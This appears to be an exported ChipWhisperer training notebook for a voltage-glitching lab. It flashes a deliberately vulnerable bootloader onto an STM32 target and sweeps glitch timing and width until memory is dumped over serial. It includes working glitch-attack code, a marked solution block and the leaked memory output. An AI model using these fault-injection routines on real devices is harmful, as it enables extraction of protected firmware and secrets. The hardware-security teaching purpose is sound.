SCOPETYPE = 'OPENADC'
PLATFORM = 'CWLITEARM'
SS_VER='SS_VER_2_1'

allowable_exceptions = None
VERSION = 'HARDWARE'
CRYPTO_TARGET = 'TINYAES128C'

%%bash -s "$PLATFORM" "$SS_VER"
cd ../../../firmware/mcu/bootloader-glitch
make PLATFORM=$1 CRYPTO_TARGET=NONE -j SS_VER=$2

SS\_VER set to SS\_VER\_2\_1

SS\_VER set to SS\_VER\_2\_1

.

arm-none-eabi-gcc (15:9-2019-q4-0ubuntu1) 9.2.1 20191025 (release) [ARM/arm-9-branch revision 277599]

Copyright (C) 2019 Free Software Foundation, Inc.

This is free software; see the source for copying conditions.  There is NO

warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Welcome to another exciting ChipWhisperer target build!!

Size after:

#!/usr/bin/env python
# coding: utf-8

# In[ ]:


import chipwhisperer as cw

try:
    if not scope.connectStatus:
        scope.con()
except NameError:
    scope = cw.scope(hw_location=(5, 3))

try:
    if SS_VER == "SS_VER_2_1":
        target_type = cw.targets.SimpleSerial2
    elif SS_VER == "SS_VER_2_0":
        raise OSError("SS_VER_2_0 is deprecated. Use SS_VER_2_1")
    else:
        target_type = cw.targets.SimpleSerial
except:
    SS_VER="SS_VER_1_1"
    target_type = cw.targets.SimpleSerial

try:
    target = cw.target(scope, target_type)
except:
    print("INFO: Caught exception on reconnecting to target - attempting to reconnect to scope first.")
    print("INFO: This is a work-around when USB has died without Python knowing. Ignore errors above this line.")
    scope = cw.scope(hw_location=(5, 3))
    target = cw.target(scope, target_type)


print("INFO: Found ChipWhisperer😍")


# In[ ]:


if "STM" in PLATFORM or PLATFORM == "CWLITEARM" or PLATFORM == "CWNANO":
    prog = cw.programmers.STM32FProgrammer
elif PLATFORM == "CW303" or PLATFORM == "CWLITEXMEGA":
    prog = cw.programmers.XMEGAProgrammer
elif "neorv32" in PLATFORM.lower():
    prog = cw.programmers.NEORV32Programmer
elif PLATFORM == "CW308_SAM4S" or PLATFORM == "CWHUSKY":
    prog = cw.programmers.SAM4SProgrammer
else:
    prog = None


# In[ ]:


import time
time.sleep(0.05)
scope.default_setup()

def reset_target(scope):
    if PLATFORM == "CW303" or PLATFORM == "CWLITEXMEGA":
        scope.io.pdic = 'low'
        time.sleep(0.1)
        scope.io.pdic = 'high_z' #XMEGA doesn't like pdic driven high
        time.sleep(0.1) #xmega needs more startup time
    elif "neorv32" in PLATFORM.lower():
        raise IOError("Default iCE40 neorv32 build does not have external reset - reprogram device to reset")
    elif PLATFORM == "CW308_SAM4S" or PLATFORM == "CWHUSKY":
        scope.io.nrst = 'low'
        time.sleep(0.25)
        scope.io.nrst = 'high_z'
        time.sleep(0.25)
    else:  
        scope.io.nrst = 'low'
        time.sleep(0.05)
        scope.io.nrst = 'high_z'
        time.sleep(0.05)

INFO: Found ChipWhisperer😍

scope.gain.mode                          changed from low                       to high                     
scope.gain.gain                          changed from 0                         to 30                       
scope.gain.db                            changed from 5.5                       to 24.8359375               
scope.adc.basic\_mode                     changed from low                       to rising\_edge              
scope.adc.samples                        changed from 24400                     to 5000                     
scope.adc.trig\_count                     changed from 11710249                  to 23290831                 
scope.clock.adc\_src                      changed from clkgen\_x1                 to clkgen\_x4                
scope.clock.adc\_freq                     changed from 96000000                  to 29538459                 
scope.clock.adc\_rate                     changed from 96000000.0                to 29538459.0               
scope.clock.clkgen\_div                   changed from 1                         to 26                       
scope.clock.clkgen\_freq                  changed from 192000000.0               to 7384615.384615385        
scope.io.tio1                            changed from serial\_tx                 to serial\_rx                
scope.io.tio2                            changed from serial\_rx                 to serial\_tx                
scope.io.hs2                             changed from None                      to clkgen                   
scope.glitch.mmcm\_locked                 changed from True                      to False

fw_path = "../../../firmware/mcu/bootloader-glitch/bootloader-{}.hex".format(PLATFORM)

cw.program_target(scope, prog, fw_path)

Detected known STMF32: STM32F302xB(C)/303xB(C)
Extended erase (0x44), this can take ten seconds or more
Attempting to program 4723 bytes at 0x8000000
STM32F Programming flash...

STM32F Reading flash...

Verified flash OK, 4723 bytes

def reboot_flush():            
    reset_target(scope)
    #Flush garbage too
    target.flush()
scope.clock.adc_src = "clkgen_x1"
reboot_flush()
scope.adc.samples = 24000

scope.clock.adc_src = "clkgen_x1"
def reboot_flush():            
    reset_target(scope)
    #Flush garbage too
    target.flush()
    
scope.clock.adc_src = "clkgen_x1"
reboot_flush()
scope.adc.samples = 24000

if PLATFORM == "CWLITEXMEGA":
    scope.clock.clkgen_freq = 32E6
    if SS_VER=='SS_VER_2_1':
        target.baud = 230400*32/7.37
    else:
        target.baud = 38400*32/7.37
elif (PLATFORM == "CWLITEARM") or ("F3" in PLATFORM):
    scope.clock.clkgen_freq = 24E6
    if SS_VER=='SS_VER_2_1':
        target.baud = 230400*24/7.37
    else:
        target.baud = 38400*24/7.37

reboot_flush()
scope.arm()
target.write("p516261276720736265747267206762206f686c207a76797821\n")
ret = scope.capture()
        
trig_count = scope.adc.trig_count

print(trig_count)
cw.plot(scope.get_last_trace())

4236

glitch_spots = [i for i in range(1)]
# ###################
# Add your code here
# ###################
#raise NotImplementedError("Add your code here, and delete this.")

# ###################
# START SOLUTION
# ###################
glitch_spots = list(range(trig_count - 2000, trig_count, 1))
if SS_VER == "SS_VER_2_1":
    glitch_spots = list(range(0, trig_count, 1))
elif PLATFORM == "CW308_SAM4S":
    glitch_spots = list(range(trig_count - 2300, trig_count-1800, 1))
elif PLATFORM == "CWLITEXMEGA":
    glitch_spots = list(range(9500, 9650, 1))
# ###################
# END SOLUTION
# ###################

if scope._is_husky:
    scope.vglitch_setup('hp', default_setup=False)
else:
    scope.vglitch_setup('both', default_setup=False) # use both transistors

def my_print(text):
    for ch in text:
        if (ord(ch) > 31 and ord(ch) < 127) or ch == "\n": 
            print(ch, end='')
        else:
            print("0x{:02X}".format(ord(ch)), end='')
        print("", end='')

gc = cw.GlitchController(groups=["success", "reset", "normal"], parameters=["width", "offset", "ext_offset", "tries"])
gc.display_stats()

gc.glitch_plot(plotdots={"success":"+g", "reset":"xr", "normal":None}, x_index="width", y_index="ext_offset")

if scope._is_husky:
    gc.set_range("width", 1850, 1901)
    gc.set_range("offset", 2000, 2300)
    gc.set_global_step([50])
else:
    gc.set_global_step(0.4)
    if PLATFORM == "CWLITEXMEGA":
        gc.set_range("width", 46, 49.8)
        gc.set_range("offset", -46, -49.8)
        scope.glitch.repeat = 11
    elif PLATFORM == "CW308_STM32F4":
        gc.set_range("width", 0.4, 10)
        gc.set_range("offset", 40, 49.8)
        scope.glitch.repeat = 5
    elif PLATFORM == "CWLITEARM":
        gc.set_range("width", 34, 36)
        gc.set_range("offset", -40, 10)
        scope.glitch.repeat = 7

gc.set_range("tries", 1, 1) # change this if you want to glitch each spot multiple times
gc.set_range("ext_offset", glitch_spots[0], glitch_spots[-1])
gc.set_step("ext_offset", glitch_spots[1] - glitch_spots[0])
gc.set_step("tries", 1)

#disable logging
cw.set_all_log_levels(cw.logging.CRITICAL)
scope.adc.timeout = 0.2

broken = False
for glitch_setting in gc.glitch_values():
    scope.glitch.offset = glitch_setting[1]
    scope.glitch.width = glitch_setting[0]
    if broken:
        break
    scope.glitch.ext_offset = glitch_setting[2]
    if scope.adc.state:
        #print("Timeout, trigger still high!")
        gc.add("reset")

        #Device is slow to boot?
        reboot_flush()
    target.flush()
    scope.arm()
    target.write("p516261276720736265747267206762206f686c207a76797821\n")
    ret = scope.capture()
    if ret:
        #print('Timeout - no trigger')
        gc.add("reset")

        #Device is slow to boot?
        reboot_flush()
    else:
        time.sleep(0.05)
        output = target.read(timeout=2)
        if "767" in output:
            print("Glitched!\n\tExt offset: {}\n\tOffset: {}\n\tWidth: {}".format(scope.glitch.ext_offset, scope.glitch.offset, scope.glitch.width))
            gc.add("success")
            broken = True 
            for __ in range(500):
                num_char = target.in_waiting()
                if num_char:
                    my_print(output)
                    output = target.read(timeout=50)
            time.sleep(1)
            break
        else:
            gc.add("normal")
                
#reenable logging
cw.set_all_log_levels(cw.logging.WARNING)

WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.

WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.

WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.

WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.

WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.

WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.

Glitched!
	Ext offset: 4206
	Offset: -34.765625
	Width: 33.984375
r0


6720736265747267206762206f686c207a767978210x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x00Don't forget to buy milk!0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x0080x01@0x000x840x030x000x000x000x000x000x000x000x000x000x000x000x000x000x0C0x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000x000xE90xA3#W0xAB<0x990x0F0xAA0x85U0xAE0xCB0x8CUoL0x1E0x1E0x08H0xCC0x11j0xD80xAA0xB80xE30xBA0xB50x9DI0xE80x000x9D+0xF90x8AU0x0B0xC40x980x1FA0xC20x1D0xABp
X0x0B0x880x020xDC0xC9U0xAF0xC5E0x84G0xE8N0xEDT0xAA0xEBe0xAE10xCAu0xC9oV0xB7T0xAE0xD50xEB\_0xAA+0xB70x1Ez0xC6"0xC20x860xAA0xA60xAAg0xB30xC10xAB0x170xC00x83H0xCE0x950x830xFB0xDB0xA9Qzq!0x91!D50x88U0xCA0x8FN0xAA0x1C0xCD0xAEY0x980xF10xAA0x010x880xAAP0xA20x9C0xFB(0xB2SU0xAA0x030xA8U2Tb?S0x8E0x94T0x9AQs0x86\0xB6R0xA8V.|0xC50x0E0x040xE270xE0!0xBC0x080xD1r0x94/\0xA80xB3F0x9Ew0xB60xFBT0xAAES0x900xE60xA8T0x020xD40x8E0x020x960xA60x94:0xB90xDE*U0xBAE;-0xFA0xA2u0xCE0x100xA60x110xFF0x9AW0x030x8E0x17"U0xDC0x0E/0xA0p0xC20xC80xA00xFAP:0x180xA8F0x9A0xF9Yv0x9C#G
0x0D0xAA<0xF00xD9'0xD5k0xDC0x830xAE]0x0E0xD60x8Be0xACU[0xCA0x840xF2y0xAC0x1C,0xE9t0x9Ce2t0xFAUu&t!0xACL0xD1-0xE5NY0xAAD0x920x050x800xE10x010xAB@0x990xD60xA80x140x110xAC0xF5F0xC50xE00xF90xCA0xFAE0xA80x81QoU0xEE0xA3E0xE20xD70xF20x16/0xD60xF10xE9F0x9F0xB40x1E0x090x830xBA0x15(0x13
a0xAASG0xA71+0x8Bs0xE8U50xA10xD90xABL0xA20xCE0xBA0xBEv0xBAU0xA80xC70xA830x1F0xAF0xD2"C0xA80xD40xA2+0xFD0xCA0xA6i0x9Aq0x8A0xAE0x18z0x940xA20xC1j0x9D;0x99}0xAB0x970xAB\`0xBEM!0xE8}0xAE0xF40xBA0xAA}0xFE0x830xE8[0xA4U0xC90xFB0xF50x8A]0x9E0xB50x990xA90x9CyS80x100xE8[0x930xB2}[0xBC0xC20xE6Cu0x82%n0xF50xA90xF70xBFv0xD50xA2u0xCD0x050xB7|Q0xAA5jq*E0xECc0x19+T0x9C0xE8n.-D0xA4m0x8C0xF72i0x0F0xF0r,0x140xA30xF70x8A*0x17n0xDBxU0xAA0x01GDi0xE90xE60xB70xAA0x14t(0x930x02DrQ*0xFFV0x9320xA4wc5]%?0xA8X0x88E0xCE0x1A0x11(0xC0H0xAAT0xA00x8A0xD00xF00x040xAF0xD830x150x8D0xA80xD10x14%0xC8U#n\0xBD50xBE0x960xBBVw0xE4}0xA70xA20xE50xEAu0xE10xA0a0xA8U0xB6E0xA30xC90xB5k70x8Du0xE10xF2U$0xCCJ{0xBA\0xAA0x1D0x150xEC0x920x150xCA0xD30xAB

WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.

WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.

WARNING:root:SAM3U Serial buffers OVERRUN - data loss has occurred.

scope.dis()
target.dis()

assert broken == True

Part 2, Topic 3: Voltage Glitching to Dump Memory (MAIN)¶

The Situation¶